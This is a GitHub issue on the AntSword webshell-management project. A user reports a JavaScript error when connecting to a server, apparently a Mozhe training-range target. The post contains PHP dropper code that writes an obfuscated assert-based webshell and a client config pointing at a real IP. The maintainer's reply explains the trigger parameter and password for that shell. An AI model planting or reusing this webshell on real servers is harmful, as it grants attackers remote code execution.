AntSwordProject / antSword

中国蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.
https://www.yuque.com/antswordproject/antsword
MIT License
3.69k stars 579 forks source link

A javascript error occured in the main process #270

Closed MaxLuan closed 3 years ago

MaxLuan commented 3 years ago

报告 Bug


Bug 详细描述

软件可以正常打开。

添加数据后,点击测试链接,弹出报错。 image

选择保存,双击添加好的数据,弹出报错。 image


新功能建议

新功能描述


询问

shell 连接 Bug

  1. 服务端操作系统 墨者靶场,操作系统未知。

  2. 服务端shell代码

    <?php if (!empty($_GET[1]) && $_GET[1] == 'GET.fPZ87') {
    $_ = @fopen('t.php', 'a');
    echo "test";
    @fwrite($_, "<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");
    @fclose($_);
    }
  3. 服务端环境配置 未知

  4. 客户端连接配置

    {"category":"default","url":"http://219.153.49.228:49181/include/t.php?1=ilovey","pwd":"1","note":"","type":"php","ip":"219.153.49.228","addr":"重庆市 电信","encode":"UTF8","encoder":"base64","decoder":"default","httpConf":{"body":{},"headers":{}},"otherConf":{"add-MassData":0,"chunk-step-byte-max":"3","chunk-step-byte-min":"2","command-path":"","custom-datatag-tage":"","custom-datatag-tags":"","filemanager-cache":1,"ignore-https":1,"random-Prefix":"2","request-timeout":"10000","terminal-cache":0,"upload-fragment":"500","use-chunk":0,"use-custom-datatag":0,"use-multipart":0,"use-random-variable":0},"ctime":1610505439320,"utime":1610505692571,"_id":"XTDSnNw587eRAqYT"}
Medicean commented 3 years ago

注意看生成后的 t.php 的触发条件

t.php?2=ilovey

pwd: 1